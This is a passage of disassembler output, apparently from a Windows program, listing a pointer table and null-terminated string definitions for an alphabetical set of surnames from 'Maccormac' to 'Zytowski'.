		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick_0	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush_0	; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange_0	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle_0	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite_0	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee_0	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:00434130o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0043412Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:00434128o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:00434124o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:00434120o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0043411Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:00434118o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:00434114o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:00434110o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0043410Co
aYu		db 'Yu',0               ; DATA XREF: ___:00434108o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:00434104o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:00434100o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:004340FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:004340F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:004340F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:004340F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:004340ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:004340E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:004340E4o
aYankee_0	db 'Yankee',0           ; DATA XREF: ___:004340E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:004340DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:004340D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:004340D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:004340D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:004340CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:004340C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:004340C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:004340C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:004340BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:004340B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:004340B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:004340B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:004340ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:004340A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:004340A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:004340A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0043409Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:00434098o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:00434094o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:00434090o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0043408Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:00434088o
aViens		db 'Viens',0            ; DATA XREF: ___:00434084o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:00434080o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0043407Co
aViano		db 'Viano',0            ; DATA XREF: ___:00434078o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:00434074o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:00434070o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0043406Co
		align 4
aWhite_0	db 'White',0            ; DATA XREF: ___:00434068o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:00434064o
aWhately	db 'Whately',0          ; DATA XREF: ___:00434060o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0043405Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:00434058o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:00434054o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:00434050o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0043404Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:00434048o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:00434044o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:00434040o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0043403Co
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:00434038o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:00434034o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:00434030o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0043402Co
		align 10h
aWaugh		db 'Waugh',0            ; DATA XREF: ___:00434028o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:00434024o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:00434020o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0043401Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:00434018o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:00434014o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:00434010o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0043400Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:00434008o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:00434004o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:00434000o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:00433FFCo
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: ___:00433FF8o
aWaite		db 'Waite',0            ; DATA XREF: ___:00433FF4o
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: ___:00433FF0o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:00433FECo
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: ___:00433FE8o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:00433FE4o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:00433FE0o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:00433FDCo
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:00433FD8o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:00433FD4o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:00433FD0o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:00433FCCo
		align 10h
aTuttle_0	db 'Tuttle',0           ; DATA XREF: ___:00433FC8o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:00433FC4o
		align 10h
aTurano		db 'Turano',0           ; DATA XREF: ___:00433FC0o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:00433FBCo
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:00433FB8o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:00433FB4o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:00433FB0o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:00433FACo
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:00433FA8o
aTruss		db 'Truss',0            ; DATA XREF: ___:00433FA4o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:00433FA0o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: ___:00433F9Co
aTringali	db 'Tringali',0         ; DATA XREF: ___:00433F98o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:00433F94o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:00433F90o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:00433F8Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:00433F88o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:00433F84o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:00433F80o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:00433F7Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:00433F78o
aToomer		db 'Toomer',0           ; DATA XREF: ___:00433F74o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:00433F70o
aTolman		db 'Tolman',0           ; DATA XREF: ___:00433F6Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:00433F68o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:00433F64o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:00433F60o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:00433F5Co
aTill		db 'Till',0             ; DATA XREF: ___:00433F58o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:00433F54o
aThroop		db 'Throop',0           ; DATA XREF: ___:00433F50o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:00433F4Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:00433F48o
aThibault	db 'Thibault',0         ; DATA XREF: ___:00433F44o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:00433F40o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:00433F3Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:00433F38o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:00433F34o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:00433F30o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:00433F2Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:00433F28o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:00433F24o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:00433F20o
		align 4
